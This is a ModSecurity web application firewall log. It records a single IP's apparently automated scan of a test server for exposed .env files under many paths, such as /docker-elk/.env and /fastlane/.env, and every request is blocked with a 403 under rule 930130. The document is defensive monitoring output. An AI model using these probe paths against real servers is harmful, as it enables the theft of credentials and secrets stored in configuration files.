[Wed Feb 25 06:05:06.471411 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYYgAAAAc&quot;]
[Wed Feb 25 06:05:06.494621 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exercise.frontend/train/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/train/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYYwAAAAc&quot;]
[Wed Feb 25 06:05:06.494962 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/train/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYYwAAAAc&quot;]
[Wed Feb 25 06:05:06.495188 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/train/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYYwAAAAc&quot;]
[Wed Feb 25 06:05:06.556493 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/platform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia0gAAAAA&quot;]
[Wed Feb 25 06:05:06.556786 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia0gAAAAA&quot;]
[Wed Feb 25 06:05:06.556968 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia0gAAAAA&quot;]
[Wed Feb 25 06:05:06.590841 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-elk/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-elk/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia0wAAAAA&quot;]
[Wed Feb 25 06:05:06.591139 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-elk/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia0wAAAAA&quot;]
[Wed Feb 25 06:05:06.591334 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-elk/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia0wAAAAA&quot;]
[Wed Feb 25 06:05:06.661379 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /export/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYZAAAAAc&quot;]
[Wed Feb 25 06:05:06.661693 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYZAAAAAc&quot;]
[Wed Feb 25 06:05:06.661897 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYZAAAAAc&quot;]
[Wed Feb 25 06:05:06.666541 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-network-healthcheck/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-network-healthcheck/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia1AAAAAA&quot;]
[Wed Feb 25 06:05:06.666801 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-network-healthcheck/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia1AAAAAA&quot;]
[Wed Feb 25 06:05:06.666997 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-network-healthcheck/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia1AAAAAA&quot;]
[Wed Feb 25 06:05:06.683205 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fastlane/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fastlane/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYZQAAAAc&quot;]
[Wed Feb 25 06:05:06.683457 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fastlane/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYZQAAAAc&quot;]
[Wed Feb 25 06:05:06.683619 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fastlane/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYZQAAAAc&quot;]
[Wed Feb 25 06:05:06.715337 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /favicons/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicons/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYZgAAAAc&quot;]
[Wed Feb 25 06:05:06.715606 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicons/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYZgAAAAc&quot;]
[Wed Feb 25 06:05:06.715799 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicons/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYZgAAAAc&quot;]
[Wed Feb 25 06:05:06.761153 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-node-mongo-redis/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia1QAAAAA&quot;]
[Wed Feb 25 06:05:06.761442 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia1QAAAAA&quot;]
[Wed Feb 25 06:05:06.761625 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia1QAAAAA&quot;]
[Wed Feb 25 06:05:06.767908 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /favs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favs/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYZwAAAAc&quot;]
[Wed Feb 25 06:05:06.768161 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favs/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYZwAAAAc&quot;]
[Wed Feb 25 06:05:06.768331 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favs/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYZwAAAAc&quot;]
[Wed Feb 25 06:05:06.791816 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fe/huey/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FE/huey/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYaAAAAAc&quot;]
[Wed Feb 25 06:05:06.792098 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FE/huey/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYaAAAAAc&quot;]
[Wed Feb 25 06:05:06.792290 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FE/huey/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYaAAAAAc&quot;]
[Wed Feb 25 06:05:06.809416 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/compose/withmongo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withMongo/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia1gAAAAA&quot;]
[Wed Feb 25 06:05:06.809675 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withMongo/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia1gAAAAA&quot;]
